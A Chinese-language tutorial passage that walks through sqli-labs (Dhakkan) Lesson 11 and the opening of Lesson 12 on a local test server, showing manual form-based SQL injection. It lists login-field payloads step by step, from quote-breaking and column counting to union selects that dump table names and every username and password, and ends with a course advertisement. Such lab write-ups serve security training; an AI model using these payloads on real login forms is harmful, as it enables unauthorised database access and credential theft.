很多应用程序都有登陆表单,比如,Facebook、Gmail和其它的一些程序,都会要求你提交用户名和密码。今天来看看如何手动进行基于表单的SQL注入攻击。
开始吧!我们使用的是Dhakkan平台。
Lesson 11
本节和前面的Lesson 1, 2, 3, 4有很多相似之处,如果你对前面几节并不熟悉的话,建议先阅读前面的部分(传送门)。
首先,使用浏览器打开该实验室http://localhost:81/sqli/Less-11/(注:具体以个人配置为准)。
Lesson 11被视为基于单引号(')字符串的POST请求错误。当你进入该实验室后,会发现页面包含了一个提示输入用户名和密码登陆Web服务器的文本框,如上图所示。由于不是它的用户,自然也就没有正确的用户和密码可供我们登录使用,但是耐不住寂寞啊,我们还是想试试看能否通过SQL注入攻击的方式进入到该数据库。为此,首先得测试一下该数据库是否可被SQL注入攻击。
由于Lesson 11是基于单引号(')的错误,所以我们就使用单引号(')来进行测试。
输入用户名: '
由上图可以看出,当我们破坏了该查询语句时,页面给出了错误信息(蓝色文字部分),这就可以看出该数据库是可被SQL注入攻击的。
先来看看错误信息:The right syntax to user near '''' and password='' LIMIT 0,1'
现在我们就需要 # (单行注释)的帮忙了,再向用户名 ' 后添加一个 # 来使该查询语法正确。
输入用户名:' #
由上图可以看出,虽然我们成功地解决了语法报错的问题,但登陆还是失败了。不过注意到 ' 和 # 之间的语句应该都可以正确地执行。接下来要找出后端查询中使用了多少特定列,这里利用子句order by。
用户名:' order by 1 #
用户名:' order by 2 #
用户名:' order by 3 #
由上图可以看出,当测试到order by 3时,我们收到了报错信息,这就意味这该后端查询中使用了两个特定列。
现在我们在 ' 和 # 之间插入union select选中全部的两列。
用户名:' union select 1,2 #
由上图可以看出,我们登陆成功啦。那么接下来,是时候获取数据库中的数据了。
和第一节相似,先来看看数据库名。
用户名:' union select 1,database() #
由上图可以看出,数据库名为security。
接着获取当前数据库的所有表名。
用户名:' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
由上图可以看出,所有表名为:
T1: emails
T2: referers
T3: uagents
T4: users
接着获取表users的所有列名:
用户名:' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
由上图可以看出,表users有三列:
C1: id
C2: username
C3: password
在本节的最后,我们一起来看看表users中所有的用户名和对应的密码。
用户名:' union select group_concat(username),group_concat(password) from users #
由上图可以看出,表users中所有的用户名及对应的密码为:
以上就是本节全部内容。
Lesson 12
有时候你会使用单引号(')来测试一个Web页面是否是可被SQL注入攻击的,或者你已经知道了该Web页面是可被SQL注入的,试着使用单引号(')进行攻击,但是会发现失败了,而且也没有得到任何相关的报错信息,这有可能是因为开发者将单引号(')列入了黑名单。
本节和Lesson 11相似,但是如果你还是企图使用单引号来破坏后端查询,结果可就大不一样了。听说Lesson 12被视为基于双引号(")字符串的POST请求错误。那么来试试看吧。
用户名:"
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课